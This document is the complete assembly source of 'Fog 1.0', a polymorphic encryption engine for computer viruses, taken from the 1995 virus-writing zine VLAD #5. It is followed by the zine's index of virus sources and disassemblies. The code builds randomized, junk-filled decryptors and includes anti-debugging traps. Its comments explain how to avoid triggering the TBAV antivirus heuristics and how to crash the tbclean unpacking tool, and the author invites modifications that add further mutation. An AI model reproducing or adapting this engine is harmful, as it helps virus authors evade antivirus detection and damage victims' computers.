Virus Labs & Distribution
VLAD #5 - Fog.asm


;══════════════════════════════════════════════════════════════

 title   Fog - the funky opcode generator
 subttl  1.0.01 Released June 1995

;══════════════════════════════════════════════════════════════




 .radix 16
 ideal
 segment code word
 assume cs : code, ds : code, es : code, ss : code

 public fog_init, fog, rnd

 fogsize = end_fog

 include "switches.inc"









; internal switches - used only by fog:
;──────────────────────────────────────────────────────────────
 sw_nojmps      equ 00000001b
 sw_displ       equ 00000010b
 sw_directn     equ 00000100b
 sw_int4        equ 00001000b                   ; unused
 sw_int5        equ 00010000b                   ; unused
 sw_int6        equ 00100000b                   ; unused
 sw_int7        equ 01000000b                   ; unused
 sw_int8        equ 10000000b                   ; unused



; internal data structure
;──────────────────────────────────────────────────────────────
 struc datstruc
    code_buffer dw 0                            ;code buffer
    code_ip     dw 0                            ;code offset
    code_length dw 0                            ;code length
    dec_offset  dw 0                            ;offset in decryptor
    encr_key    dw 0                            ;encryption key
    gb_switches db 0                            ;switches
    dh_switches db 0                            ;
    gn_switches db 0                            ;
    in_switches db 0                            ;
    count_reg   db 0                            ;counter reg
    base_reg    db 0                            ;base reg
    key_reg     db 0                            ;key reg
    rolls       db 0                            ;rolls on key 
    keypos      dw 0                            ;pos in decryptor of the key
    lastjmp     dw 0                            ;last unupdated jmp
    displ       dw 0                            ;displacement


;  What to put in ah on dos calls.
;  None of these change any registers except AX.
;──────────────────────────────────────────────────────────────
    i_table     db 61, 1dh, 1eh, 20, 2eh, 45, 4dh


;  One byte junk instruction table.
;  It is possible to expand the engine by replacing the number 1fh
;  in the random function of flow_controller by 3fh (or 7f, ff),
;  increasing the indexing capability. Then you can add as many new
;  junk generating routines as you find appropriate. This will add lots
;  to the size of the engine, because you will have to add many new
;  one-byte intructions and junk routines to fill the increased index space.
;──────────────────────────────────────────────────────────────
    onebytes    db 90    ;nop    This nop could be replaced
		db 90    ;nop    as could this (possibly 0d6h?)
		db 40    ;inc ax
		db 48    ;dec ax
		db 90    ;nop
		db 98    ;cbw
		db 9bh   ;wait
		db 9eh   ;sahf
		db 9fh   ;lahf
    break       db 0cch  ;int 3
		db 0ech  ;in al, dx
		db 0edh  ;in ax, dx
		db 0d7h  ;xlat
		db 0f5h  ;cmc
		db 0fch  ;cld
		db 0fdh  ;std
		db 0f8h  ;clc
		db 0f9h  ;stc
 ends datstruc
; NB: The one byte instructions of aaa, aas, daa, das generate tbav @ flags
; and have not been included in the one-byte table.
; The d6 instruction, which is undefined in the 80X86 instruction set, could've
; been used, as it seems to have no effect. However, it generates tbav ! flags,
; which together with the G flag causes tbav alert. If you should decide to use
; it, it would effectively kill any tbclean attempt - making tbclean croak with
; an "invalid opcode" message.


; Register encoding definitions for internal use
;──────────────────────────────────────────────────────────────
    rax         equ 00
    rbx         equ 03
    rcx         equ 01
    rdx         equ 02
    rsp         equ 04
    rbp         equ 05
    rsi         equ 06
    rdi         equ 07

    cryptinstr  equ 0fh                         ;Amount of crypt instructions
						;to use
    cryptobuf   equ ( cryptinstr ) * 3          ;crypto buffer

    buffer_offs equ ( offset buffer - offset i_data )
						;absolute offset to buffer
    roll_offs   equ ( offset rollit - offset i_data ) + 1
						;absolute offset to roll instr.
						;when decrementing decryptor,
						;the rol has to be changed into
						;a ror
    id          equ ( datstruc ptr bx )         ;just simplifying things some



;──────────────────────────────────────────────────────────────
begin_fog:
;  FOG label

 db '[Fog 1.0]'


;──────────────────────────────────────────────────────────────
;                 MAIN PUBLIC ROUTINES
;──────────────────────────────────────────────────────────────
; Initialise fog
 proc fog_init
    push ax bx ds
    call set_base                               ;set ds:bx -> cs:i_data

    mov      [ word id . gb_switches    ], ax   ;───────┐
    mov      [ word id . gn_switches    ], cx   ;       │
    mov      [ id . code_buffer         ], dx   ;       ├─ fill values into
    mov      [ id . code_length         ], si   ;       │  internal data area
    mov      [ id . code_ip             ], di   ;       │
    mov      [ id . break               ], 0cch ;───────┘


    test     [ id . gn_switches         ], sw_r_garb ;──┐
    jz   @@1                                    ;       │       
    call rnd_07                                 ;       │
    mov  al, 0ffh                               ;       ├─ randomise junk
    shr  al, cl                                 ;       │
    mov      [ id . gb_switches         ], al   ;       │
    @@1:                                        ;───────┘


    test     [ id . gn_switches         ], sw_r_host ;──┐
    jz   @@2                                    ;       │
    call rnd_ff                                 ;       ├─ randomise hostility
    mov      [ id . dh_switches         ], al   ;       │
    @@2:                                        ;───────┘

    call max_codesize                           ; return max mem used

    pop ds bx ax
    ret                                         ;return: fog data area filled with
						;necessary constants
 endp fog_init
;──────────────────────────────────────────────────────────────
;  --====--
;──────────────────────────────────────────────────────────────
; Encrypt code and add decryptor, store all in es:0 ->
 proc fog
    push ax bx si di bp                         ;save regs
    call set_base                               ;set bx at data struc

    mov      [ id . dec_offset          ], bp   ;set offset to use in decryptor

    restart:

    mov  al, 90                                 ;───────┐
    mov  cx, cryptobuf                          ;       │
    mov  si, bx                                 ;       │
    nextnop:                                    ;       ├─ init crypto buffer
    mov       [ si + buffer_offs        ], al   ;       │
    inc  si                                     ;       │
    loop nextnop                                ;───────┘       


    test     [ id . dh_switches         ], sw_int3 ;────┐
    jnz   genint3                               ;       ├─ don't use int 3's
    mov      [ id . break               ], al   ;       │  replace CC with 90   
    genint3:                                    ;───────┘

						;───────┐
    call rnd_ax                                 ;       │
    add      [ id . encr_key            ], ax   ;       ├─ randomise key
    rol  ax, cl                                 ;       │
    add      [ id . encr_key            ], ax   ;───────┘


    and      [ id . in_switches         ], not sw_directn ;
    mov      [ byte bx + roll_offs      ], 0c2h ;       │
    call rnd_z                                  ;       │
    jz   up                                     ;       ├─ randomise up/down
    or       [ id . in_switches         ], sw_directn ; │  if down, invert
    mov      [ byte bx + roll_offs      ], 0cah ;       │  rol -> ror
    up:                                         ;───────┘


    xor  di, di                                 ;set buffer offset = 0


    and      [ id . gn_switches         ], not sw_displ;┐
    mov  ax, di                                 ;       │
    jz   n_disp                                 ;       │
    or       [ id . in_switches         ], sw_displ;    ├─ randomise displ.
    call rnd_ax                                 ;       │
    n_disp:                                     ;       │
    mov      [ id . displ               ], ax   ;───────┘


    test     [ id . dh_switches         ], not sw_debug;┐
    jnz   nodebug                               ;       ├─ if debug,
    mov      [ id . encr_key            ], di   ;       │  zero key     
    nodebug:                                    ;───────┘


    mov      [ word id . count_reg      ], di   ;───────┐
    mov      [ word id . key_reg        ], di   ;       ├─ zero regs
    mov      [ word id . keypos         ], di   ;───────┘

    call reg_init_strategy                      ;───────┐
    call reg_init_strategy                      ;       ├─ determine regs
    call reg_init_strategy                      ;───────┘

    push bp
    mov  bp, di                                 ;store loopback offset

						; below : crypto instruction 
						; generation loop
    mov  cl, cryptinstr                         ;───────────────────────┐
    call rnd                                    ;                       │
    mov  si, cryptobuf                          ;                       │
    new_func:                                   ;                       │
    push cx                                     ;                       │
    call junk                                   ; junk                  │
    dec  si                                     ;                       │
    dec  si                                     ;                       │
						;                       │
    call rnd_03                                 ;                       │
						;                       │
    loop addfunc                                ;───────┐               │
    subfunc:                                    ;       ├─ sub          │
    mov  dx, 2903h                              ;       │               │
    addfunc:                                    ;───────┤               │
    loop xorfunc                                ;       ├─ add          │
    mov  dx, 012bh                              ;       │               │
    xorfunc:                                    ;───────┤               │
    loop det_func                               ;       ├─ xor          │
    mov  dx, 3133h                              ;       │               │
    det_func:                                   ;───────┘               │
						;                       │
    call getseg                                 ;cs:/ds:/es:/ss:        │
						;                       │
    call rnd_z                                  ;                       │
    jnz  immediate_keys                         ;                       │
						;                       │
						;───────┐               │
    mov  ah, dh                                 ;       │               │
    stosw                                       ;       │               │
    mov  al, [ id . key_reg             ]       ;       │               │
    mov  cl, 3                                  ;       ├─ register     │
    shl  al, cl                                 ;       │  keyed        │
    call xlatreg                                ;       │               │
    mov  dh, 0c2h                               ;       │               │
    mov      [ bx + si + buffer_offs    ], dx   ;       │               │
    jmp  short @@1                              ;───────┤               │
						;       │               │
						;       │               │
    immediate_keys:                             ;       │               │
    dec  si                                     ;       │               │
    and  dh, 0feh                               ;       │               │
    add  dl, 02                                 ;       │               │
    mov  ah, 81                                 ;       │               │
    stosw                                       ;       ├─ immediate    │
    mov  al, dh                                 ;       │  keyed        │
    call xlatreg                                ;       │               │
    call rnd_ax                                 ;       │               │
    test     [ id . dh_switches         ], not sw_debug;│               │
    jnz   n_debug                               ;       │               │
    xor  ax, ax                                 ;       │               │
    n_debug:                                    ;       │               │
    stosw                                       ;       │               │
    mov      [ bx + si + buffer_offs    ], dl   ;       │               │
    mov      [ bx + si + buffer_offs + 1], ax   ;       │               │
    @@1:                                        ;───────┘               │
    pop cx                                      ;                       │
    loop new_func                               ;───────────────────────┘                       ┘

    call junk                                   ;add junk

    call rnd_z                                  ;───────┐
    jz   no_roll                                ;       │
    call rnd_07                                 ;       │
    mov      [ id . rolls               ], cl   ;       │
    mov  ax, 0c0d1h                             ;       │
    or   ah, [ id . key_reg             ]       ;       ├─ randomise and
    new_roll:                                   ;       │  add rol's
    stosw                                       ;       │
    call junk                                   ; junk  │
    loop new_roll                               ;       │
    no_roll:                                    ;───────┘


    call computepos                             ;increment base position

    call junk                                   ;add junk

    lea  ax, [ bx + (offset jmps_finished - offset i_data) ]
    push ax                                     ;for people who might not
						;understand what I do here:
						;I push the address of
						;jmps_finished onto the stack,
						;so that following ret's
						;will bring me there.



    mov  al, [ id . count_reg           ]
    or   al, 48                                 ;dec count 
    stosb


    call rnd_03                                 ;randomise
    lea  dx, [ bp - 1                   ]       ;backward jump strategies.

    sub  dx, di
    cmp  dx, 0ff80h                             ;can't use short jmps
    jbe  jmp_strategy3                          ;if decryptor too long

    loop jmp_strategy3
    cmp      [ id . count_reg           ], rcx  ; is CX count reg?
    jnz  jmp_strategy2
    call rnd_z                                  ; if so, we might use loop
    jz   jmp_strategy2                          ; but only randomly so

    jmp_strategy1:                              ;───────┐
    dec  di                                     ;       │
    mov  ah, dl                                 ;       ├─ loop back
    mov  al, 0e2                                ;       │
    ret                                         ;       │
						;───────┤
    jmp_strategy2:                              ;       │
    dec  dx                                     ;       │
    mov  ah, dl                                 ;       ├─ jnz back
    mov  al, 75                                 ;       │       
    ret                                         ;       │
						;───────┤
    jmp_strategy3:                              ;       │
    loop jmp_strategy4                          ;       │    
    longjmp:                                    ;       │
    mov  ax, 0374                               ;       │
    stosw                                       ;       ├─ jz $+3
    mov  al, 0e9                                ;       │  jmp back
    stosb                                       ;       │
    lea  ax, [ bp - 2                   ]       ;       │
    sub  ax, di                                 ;       │
    ret                                         ;       │
						;───────┤
    jmp_strategy4:                              ;       │
    mov  ax, 0574                               ;       │
    stosw                                       ;       │
    call find_reg                               ;       │
    push ax                                     ;       │
    or   al, 0b8h                               ;       ├─ jz $+5
    stosb                                       ;       │  mov reg, offs back   
    mov  ax, bp                                 ;       │  push reg 
    add  ax, [ id . dec_offset          ]       ;       │  ret
    stosw                                       ;       │
    pop  ax                                     ;       │
    or   ax, 0c350                              ;       │
    ret                                         ;───────┘

    jmps_finished:
    stosw

    call junk                                   ;add junk


    test     [ id . in_switches         ], sw_directn ;─┐
    jz   n_prefetch_buf                         ;       │
    mov  ax, 00ebh                              ;       ├─ clear prefetch queue
    stosw                                       ;       │
    n_prefetch_buf:                             ;───────┘

    mov  ax, 0e990
    mov  dx, [ id . encr_key            ]       ;put encryption key in dx
    mov  bp, di                                 ;───────┐
    call scramble_word                          ;       │
    stosw                                       ;       ├─ crypt jmp to
    mov  ax, [ id . code_ip             ]       ;       │  code offset  
    call scramble_word                          ;       │
    stosw                                       ;───────┘

    mov  ax, [ id . code_length         ]       ;───────┐
    shr  ax, 1                                  ;       ├─ div code length      
    inc  ax                                     ;       │  by key length
    mov  cx, ax                                 ;───────┘

    mov  si, [ id . code_buffer         ]       ;where to get data to crypt

    newword:                                    ;───────┐
    lodsw                                       ;       │
    call scramble_word                          ;       ├─ encrypt
    stosw                                       ;       │
    loop newword                                ;───────┘

    test     [ id . in_switches         ], sw_directn ;─┐
    jz   n_adjust                               ;       │
    lea  bp, [ di - 2                   ]       ;       │
    mov  si, [ id . keypos              ]       ;       ├─ if down decryptor
    mov  cl, [ id . rolls               ]       ;       │  encr. key has to be
    rol  dx, cl                                 ;       │  adjusted because
    mov      [ es : si                  ], dx   ;       │  of the rol's
    n_adjust:                                   ;───────┘


    pop  si
    add  bp, [ id . dec_offset          ]
    add      [ es : si                  ], bp   ;adjust start of decrypt


    test     [ id . dh_switches         ], not sw_debug;┐
    jz   all_ok                                 ;       │
    push ax                                     ;       │
    call scramble_word                          ;       │
    pop  cx                                     ;       ├─ if not debug, test
    cmp  ax, cx                                 ;       │  if decryptor
    jnz  all_ok                                 ;       │  really encrypts
    jmp  restart                                ;       │  if not, restart
    all_ok:                                     ;───────┘

    test     [ id . gn_switches         ], sw_const_s;──┐
    jz   nostatic                               ;       │
    push ax                                     ;       │
    call max_codesize                           ;       │
    pop  ax                                     ;       ├─ if constant size,
    sub  cx, di                                 ;       │  pad up to max
    jbe  nostatic                               ;       │  codesize
    rep  stosb                                  ;       │
    nostatic:                                   ;───────┘

    mov  cx, di
    add  cx, [ id . dec_offset          ]
    neg  cx

    test     [ id . gn_switches         ], sw_align256;─┐ 
    jz   test16                                 ;       ├─ 256 byte alignment?
    and  cx, 0ffh                               ;       │
    jnz  pad                                    ;───────┘

    test16:                                     ;───────┐
    test     [ id . gn_switches         ], sw_align16   │
    jz   nopad                                  ;       ├─ 16 byte alignment?
    and  cx, 0f                                 ;       │
    jz   nopad                                  ;───────┘
    pad:
    rep  stosb                                  ;do the padding
    nopad:

    mov  cx, di                                 ;set cx    = bytes crypted

    push es                                     ;set ds:dx = crypted code
    pop  ds
    xor  dx, dx

    pop  bp di si bx ax                         ;restore regs
    ret
    ;RETURN: Encrypted and mutated code in ES:DI = DS:DX = DS:0
    ;        Number of bytes            in CX
 endp fog
;──────────────────────────────────────────────────────────────
; Get random (almost) number from timer
 proc rnd
    push bx
    mov  bx, ax
    mov  bh, bl
    mov  ch, 0
    in   ax, 40h
    and  ax, cx
    push cx
    xchg ax, cx
    in   ax, 40h
    add  ax, bx
    ror  ax, cl
    pop  cx
    and  ax, cx
    jnz  @@1
    inc  ax
    @@1:
    pop  bx
    mov  cl, al
    ret                                         ;return: AL/CL = rnd (1..CL)
 endp rnd
;──────────────────────────────────────────────────────────────
;              ENCRYPTOR/DECRYPTOR LOGISTICS
;──────────────────────────────────────────────────────────────
; Set base (bx) at internal data struc
 proc set_base
    call myip
    myip:
    pop  bx
    sub  bx, myip - i_data
    push cs
    pop  ds
    ret                                         ;return: BX pointing at i_data
 endp set_base
;──────────────────────────────────────────────────────────────
; Check that requested register (in al) is unused
 proc reg_used
    cmp  al, [ id . key_reg             ]       ;key register
    jz   @@1
    cmp  al, [ id . count_reg           ]       ;counter register
    jz   @@1
    cmp  al, [ id . base_reg            ]       ;base register
    jz   @@1
    cmp  al, rsp                                ;SP, not to be used
    @@1:
    ret                                         ;return : Z if reg is used
 endp reg_used
;──────────────────────────────────────────────────────────────
; Find unused register
 proc find_reg
    call rnd_07
    call reg_used
    jz   find_reg
    mov  dl, al
    ret                                         ;return: unused register in AL and DL
 endp find_reg
;──────────────────────────────────────────────────────────────
; Rand 1-3
 proc rnd_03
    mov  cl, 03h
    call rnd
    ret                                         ;return: AL/CL = rnd (1..3)
 endp rnd_03
;──────────────────────────────────────────────────────────────
; Rand 1-7
 proc rnd_07
    mov  cl, 07h
    call rnd
    ret                                         ;return: AL/CL = rnd (1..7)
 endp rnd_07
;──────────────────────────────────────────────────────────────
; Rand 1-255
 proc rnd_ff
    mov  cl, 0ffh
    call rnd
    ret                                         ;return: AL/CL = rnd (1..255)
 endp rnd_ff
;──────────────────────────────────────────────────────────────
; A random Yes/No function
 proc rnd_z
    push ax cx
    call rnd_ff
    test al, 01h
    pop  cx ax
    ret                                         ;return: rnd Z/NZ
 endp rnd_z
;──────────────────────────────────────────────────────────────
; Translate register values into valid instruction
 proc xlatreg
    ?si:
    or   al, 04
    cmp      [ id . base_reg            ], rsi
    jz   @@2
    ?di:
    or   al, 05
    cmp      [ id . base_reg            ], rdi
    jz   @@2
    or   al, 07
    @@2:
    test     [ id . in_switches         ], sw_displ
    jz   @@3                                    ;displacement?
    or   al, 80h
    stosb
    mov  ax, [ id . displ               ]
    stosw
    ret
    @@3:
    stosb
    ret                                         ;return: Valid instruction
						;in decryptor
 endp xlatreg
;──────────────────────────────────────────────────────────────
; Encrypt word in ax
 proc scramble_word
    push cx
    buffer:
    db   cryptobuf dup (90)
    mov  cl, [ id . rolls               ]
    rollit:
    rol  dx, cl
    pop  cx
    ret                                         ;return: AX crypted by
						;whatever. Fog modifies
						;itself randomly here, and
						;creates mundo
						;different encryptors.
 endp scramble_word
;──────────────────────────────────────────────────────────────
; Position updating strategies
 proc computepos
    call rnd_z
    jz   @@3
    mov  al, 83
    stosb
    call rnd_z
    mov  ax, 02c0                               ;strategy 1/2 : add reg, 2/-2
    jz   @@1
    mov  ax, 0fee8                              ;strategy 3/4 : sub reg, 2/-2
    @@1:
    test     [ id . in_switches         ], sw_directn
    jz   @@2
    neg  ah                                     ;decrementing decryptor
    @@2:                                        ;incrementing decryptor
    or   al, [ id . base_reg            ]
    sword:
    stosw
    ret

    @@3:
    mov  al, 40                                 ;strategy 5 : inc reg inc reg
    test     [ id . in_switches         ], sw_directn
    jz   @@4
    or   al, 08                                 ;strategy 6 : dec reg dec reg
    @@4:
    or   al, [ id . base_reg            ]
    stosb                                       ;add pos instr
    call junk                                   ;add junk
    sbyte:
    stosb                                       ;add pos instr
    ret                                         ;
   ;return: Updates the base register in the decryptor
 endp computepos
;──────────────────────────────────────────────────────────────
; Get segment override prefix
 proc getseg
    test     [ id . gn_switches         ], sw_exefile
    jz    use_all
    mov   al, 2eh
    ret
    use_all:
    call  rnd_ff
    and   al, 3eh
    or    al, 26h
    ret
    ;return : random 2eh/3eh/26h/36h: (CS:/DS:/ES:/SS:) in AL
    ;if EXE only CS: will be returned
 endp getseg
;──────────────────────────────────────────────────────────────
; Compute maximum code length
 proc max_codesize
    mov  al, [ id . gb_switches         ]
    xor  ah, ah
    mov  cx, ((0dh+cryptinstr)*3)/2             ;garb. calls times 1.5 bytes avg
    mul  cx                                     ;times max no. of junk instr.
    add  ax, 9 + (cryptinstr*7) + 7*2 + 3 + 8 + 2 + 4
    add  ax, [ id . code_length         ]
    xchg ax, cx
    ret                                         ;return: max encrypted size in CX
 endp max_codesize
;──────────────────────────────────────────────────────────────
; Pick regs to use in vital instructions
 proc reg_init_strategy
    call junk
    reg_init_strategy_:
    call find_reg
    call rnd_03
    loop cntfunc
    cmp      [ id . base_reg            ], ch
    jnz  cntfunc_
    posfunc:                                    ;can only use bx, si or di
    mov  al, dl
    cmp  al, rbx
    jz   regok
    cmp  al, rsi
    jz   regok
    cmp  al, rdi
    jz   regok
    call find_reg
    jmp  short posfunc
    regok:

    mov      [ id . base_reg            ], al
    or   al, 0b8
    stosb
    mov  bp, di
    xor  ax, ax
    sub  ax, [ id . displ               ]
    stosw
    ret

    cntfunc:
    loop keyfunc
    cntfunc_:
    cmp      [ id . count_reg           ], ch
    jnz  keyfunc
    mov  al, dl
    mov      [ id . count_reg           ], al
    or   al, 0b8
    stosb
    mov  ax, [ id . code_length         ]
    shr  ax, 1
    add  ax, 3
    stosw
    ret

    keyfunc:
    cmp      [ id . key_reg             ], ch
    jnz  reg_init_strategy_
    mov  al, dl
    mov      [ id . key_reg             ], al
    or   al, 0b8
    stosb
    mov  ax, [ id . encr_key            ]
    mov      [ id . keypos              ], di
    stosw
    ret
    ;return: random register chosen and put in base_reg, count_reg or key_reg
 endp reg_init_strategy
;──────────────────────────────────────────────────────────────
;               JUNK ROUTINE
;──────────────────────────────────────────────────────────────
;   017 : Flow controller - Fork junk code generation in different directions
; Model:        1. Get random no. in CX
;               2. loop r2
;                  routine no1
;                  ret
;                  r2:
;                  loop r3
;                  routine no2
;                  ret
;                  r3:
;                  loop r4
;                  ......
;                  end of routines.
;
;               3. The number in CX can be higher than
;                  the amount of generation routines.
;                  If so, whatever left in CX is used
;                  as index into one-byte instruction
;                  table.
;
;               4. To add another routine:
;                  Make a routine creating an instruction
;                  subgroup. It should be on the form:
;
;                  rx1:
;                  loop rx2
;                  generation routine
;                  ret
;                  rx2:
;
;
;                  !NB Remember all these routines return to either sword
;                  (stosw) or sbyte (stosb).
;
;                  After adding the routine, remove one of the one-byte
;                  instructions in the one-byte table, pref.  one of the
;                  extra nops. The new routine has now taken its place in
;                  the index space.
;
;                  The rules for junk instructions in the decryptor are:
;
;                  1. They must not change registers that are used for
;                  the functionality of the decryptor. You can check for
;                  this at any time by putting register no. in al and
;                  call reg_used, returning Z if used, or simply call
;                  find_reg, which will return an unused register in al.
;
;                  2. AX can always be changed
;
;                  3. SP must never be changed.
;
;
 proc flow_controller
    mov  cl, 1fh
    call rnd
    lea  ax, [ bx + (offset sword - offset i_data) ]
    push ax                                     ;return to sword

    s1:                                         ;───────┐                       
    loop s2                                     ;       │
    call find_reg                               ;       │
    call rnd_ax                                 ;       │
    and  ax, 073bh                              ;       ├─ and/add/adc/
    or   ax, 0c003h                             ;       │  sub/sbb/cmp/
    mov  cl, 3                                  ;       │  xor/or reg, reg
    shl  dl, cl                                 ;       │
    or   ah, dl                                 ;       │
    ret                                         ;       │
						;───────┤
    s2:                                         ;       │
    loop s3                                     ;       │
    call rnd_ax                                 ;       ├─ and/add/adc/
    and  al, 03ch                               ;       │  sub/sbb/cmp/
    or   al, 04                                 ;       │  xor/or al, imm byte
    ret                                         ;       │
						;───────┤
    s3:                                         ;       │
    loop s4                                     ;       │
    mov  cl, 3fh                                ;       │
    call rnd                                    ;       │
    and  al, 3dh                                ;       │
    or   al, 05h                                ;       │
    stosb                                       ;       ├─ and/add/adc/
    rnd_ax:                                     ;       │  sub/sbb/cmp/
    call rnd_ff                                 ;       │  xor/or ax, imm word
    mov  dh, al                                 ;       │
    call rnd_ff                                 ;       │
    mov  ah, dh                                 ;       │
    ret                                         ;       │
						;───────┤
    s4:                                         ;       │
    loop s5                                     ;       │
    call find_reg                               ;       │
    cmp  al, rbx                                ;       │
    ja   s5_                                    ;       ├─ mov reg, imm byte
    or   dl, 0b0                                ;       │
    call rnd_ax                                 ;       │
    mov  al, dl                                 ;       │
    ret                                         ;       │
						;───────┤
    s5:                                         ;       │
    loop s6                                     ;       │
    s5_:                                        ;       │
    call find_reg                               ;       ├─ mov reg, imm word
    or   al, 0b8                                ;       │
    stosb                                       ;       │
    call rnd_ax                                 ;       │
    ret                                         ;       │       
						;───────┤
    s6:                                         ;       │       
    loop s7                                     ;       │
    call find_reg                               ;       │
    call rnd_07                                 ;       ├─ push reg, pop reg
    mov  ah, dl                                 ;       │
    or   ax, 5850                               ;       │
    ret                                         ;       │
						;───────┤
    s7:                                         ;       │
    loop s8                                     ;       │
    test     [ id . in_switches         ], sw_nojmps;   │
    jnz  s5_                                    ;       │
    mov      [ id . lastjmp             ], di   ;       │
    or       [ id . in_switches         ], sw_nojmps;   │
    call rnd_ff                                 ;       │
    call rnd_z                                  ;       ├─ jmp short/
    jz   conditional                            ;       │  jmp on condition
    mov  al, 0ebh                               ;       │
    ret                                         ;       │
    conditional:                                ;       │
    and  al, 0fh                                ;       │
    or   al, 70                                 ;       │
    ret                                         ;       │       
						;───────┤       
    s8:                                         ;       │
    loop s9                                     ;       │
    test     [ id . dh_switches         ], sw_use_ints; │
    jz   s9_                                    ;       │
    call rnd_07                                 ;       │
    add  al, (offset i_data.i_table - offset i_data)-1; ├─ mov ah, imm byte
    xlat                                        ;       │  int 21
    mov  ah, al                                 ;       │
    mov  al, 0b4h                               ;       │
    stosw                                       ;       │
    mov  ax, 21cdh                              ;       │
    ret                                         ;       │
						;───────┤
    s9:                                         ;       │
    loop s10                                    ;       │
    s9_:                                        ;       │
    call find_reg                               ;       │
    call rnd_z                                  ;       │
    jnz  n_prefix                               ;       │
    call getseg                                 ;       │
    stosb                                       ;       │
    n_prefix:                                   ;       │
    call rnd_07                                 ;       │
    cmp  al, dl                                 ;       │
    jnz  n_equal                                ;       │
    dec  ax                                     ;       │
    n_equal:                                    ;       │
    mov  cl, 3                                  ;       ├─ mov reg, reg/
    shl  dl, cl                                 ;       │  mov reg, [m16]    
    or   dl, al                                 ;       │
    mov  ah, dl                                 ;       │
    or   ah, 0c0                                ;       │
    mov  al, 8bh                                ;       │
    call rnd_z                                  ;       │
    jz   nodisp                                 ;       │
    or   ah, 06                                 ;       │
    and  ah, 03eh                               ;       │
    stosw                                       ;       │
    call rnd_ax                                 ;       │
    dec  ax                                     ;       │
    jnc  nodisp                                 ;       │
    dec  ax                                     ;       │
    nodisp:                                     ;       │
    ret                                         ;       │
						;───────┤
    s10:                                        ;       │
    loop s11                                    ;       │
    test     [ id . dh_switches         ], sw_prefetch; │
    jz   s9_                                    ;       │
    call getseg                                 ;       │
    stosb                                       ;       │
    mov  dx, 06c7h                              ;       │
    mov  ax, dx                                 ;       │
    stosw                                       ;       │
    lea  ax, [ di + 4                   ]       ;       │
    add  ax, [ id . dec_offset          ]       ;       ├─ prefetch trap
    push ax                                     ;       │       
    stosw                                       ;       │
    mov  ax, 020cdh                             ;       │
    stosw                                       ;       │
    call getseg                                 ;       │
    stosb                                       ;       │
    mov  ax, dx                                 ;       │
    stosw                                       ;       │
    pop  ax                                     ;       │
    stosw                                       ;       │
    mov  ax, 0c72e                              ;       │
    ret                                         ;       │
						;───────┤
    s11:                                        ;       │
    loop s12                                    ;       │
    call find_reg                               ;       │
    call rnd_ax                                 ;       ├─ rol/ror/rcr/rcl
    and  ax, 0d8d3h                             ;       │  reg, 1/cl
    or   ax, 0c0d1h                             ;       │
    or   ah, dl                                 ;       │
    ret                                         ;       │
						;───────┤
    s12:                                        ;       .
    pop  ax                                     ;       .
    lea  ax, [ bx + (offset sbyte - offset i_data) ];   . Return to sbyte
    push ax                                     ;       .
						;       .
    loop s13                                    ;       │
    call find_reg                               ;       ├─ xchg ax, reg
    or   al, 90                                 ;       │
    ret                                         ;       │
						;───────┤
    s13:                                        ;       │       
    loop store_one                              ;       │
    call find_reg                               ;       │
    call rnd_ff                                 ;       ├─ dec/inc reg
    and  al, 08h                                ;       │
    or   al, dl                                 ;       │
    or   al, 40                                 ;       │
    ret                                         ;       │
						;───────┤
    store_one:                                  ;       │
    mov  ax, cx                                 ;       ├─ look up one byte
    add  al, (offset i_data.onebytes - offset i_data)-1;│  instruction in table 
    xlat                                        ;       │
    ret                                         ;───────┘       
 endp flow_controller
;──────────────────────────────────────────────────────────────
; Junk instructions
 proc junk
    push ax cx si
    mov  cl, [ id . gb_switches         ]       ;cl==configured amount of
    test cl, sw_001_gi                          ;junk
    jz   @@1
    and      [ id . in_switches         ], not sw_nojmps
    or       [ id . lastjmp             ], -1   ;prime for jmp generation


    call rnd                                    ;al/cl = [1..cl]
    new_instr:                                  ;───────────────────────┐
						;───────┐               │
    cmp  cl, 3                                  ;       │               │
    ja   @@2                                    ;       │               │
    or       [ id . in_switches         ], sw_nojmps;   │               │
    @@2:                                        ;       │               │
						;       │               │
    mov  si, [ id . lastjmp             ]       ;       │               │
    inc  si                                     ;       │               │
    jz   @@5                                    ;       │               │
    lea  ax, [ di - 1                   ]       ;       │               │
    sub  ax, si                                 ;       │               │
						;       │               │
    or   al, al                                 ;       │               │
    jz   @@5                                    ;       ├─ logistics    │
    cmp  ax, 007fh                              ;       │  dealing with │
    ja   @@5                                    ;       │  the junk     │       
    cmp  al, 70h                                ;       │  jmps and how ├─ junk 
    ja   @@3                                    ;       │  they are     │  loop
    cmp  cl, 3                                  ;       │  updated to   │
    jbe  @@4                                    ;       │  show a proper│
    call rnd_z                                  ;       │  offset.      │       
    jnz  @@5                                    ;       │               │
    @@3:                                        ;       │               │
    and      [ id . in_switches         ],not sw_nojmps;│               │
    @@4:                                        ;       │               │
    mov      [ es : si                  ], al   ;       │               │
    @@5:                                        ;───────┘               │
						;                       │
						;                       │
    push cx                                     ;                       │
    call flow_controller                        ;gen. 1 junk instr.     │
    pop  cx                                     ;                       │
						;                       │
    loop new_instr                              ;───────────────────────┘                       


    @@1:
    pop  si cx ax
    ret                                         ;return: random amount (between 0 and
						;the configured max number) of junk
						;instr. in decryptor
 endp junk
;──────────────────────────────────────────────────────────────

; Data work area
 i_data datstruc <>

 end_fog  = $+1

 ends code

 end



;══════════════════════════════════════════════════════════════
;
; Feel free to modify this code in any way possible, as this
; will add an extra level of mutation. However, please don't
; use the name FOG on any modified versions. And; look out for
; fog 2.0 coming soon to a zine near you.
;
; Eclipse, Queensland, June 1995
; 
;  
;
;══════════════════════════════════════════════════════════════


- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

